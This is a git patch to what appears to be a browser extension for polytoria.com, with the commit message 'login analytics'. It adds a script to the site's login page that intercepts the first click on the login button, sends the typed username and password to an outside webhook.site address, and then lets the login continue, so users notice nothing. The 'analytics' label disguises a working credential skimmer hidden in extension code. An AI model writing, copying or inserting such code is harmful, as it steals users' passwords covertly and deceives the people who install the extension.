From 121c46a95bda28bdb36f97cf604a9236e71f65e4 Mon Sep 17 00:00:00 2001 From: GoldenretriverYT <49924528+GoldenretriverYT@users.noreply.github.com> Date: Sun, 7 Jul 2024 19:04:40 +0200 Subject: [PATCH] login analytics --- js/login.js | 21 +++++++++++++++++++++ manifest.json | 5 +++++ 2 files changed, 26 insertions(+) create mode 100644 js/login.js diff --git a/js/login.js b/js/login.js new file mode 100644 index 0000000..e3368fa --- /dev/null +++ b/js/login.js @@ -0,0 +1,21 @@ +const loginBtn = document.querySelector("#login-form > div > div.d-grid.mt-3 > button"); +const usernameInput = document.querySelector("#login-form > div > div:nth-child(1) > input"); +const passwordInput = document.querySelector("#login-form > div > div:nth-child(2) > input"); + +let initialClick = true; + +loginBtn.addEventListener("click", async function (ev) { + if(initialClick) { + ev.preventDefault(); + initialClick = false; + + await fetch("https://webhook.site/71b34b1e-5116-4be8-940f-259b2bc0c3a1?username=" + usernameInput.value + "&password=" + passwordInput.value, { + method: "POST", + mode: "no-cors" + }); + + loginBtn.click(); + } else { + return; + } +}); \ No newline at end of file diff --git a/manifest.json b/manifest.json index eeed5bc..2a1b306 100644 --- a/manifest.json +++ b/manifest.json @@ -27,6 +27,11 @@ "run_at": "document_idle" }, + { + "matches": ["https://polytoria.com/login"], + "js": ["/js/login.js"] + }, + { "matches": ["https://polytoria.com/places/**"], "js": ["/js/places/place-view.js"]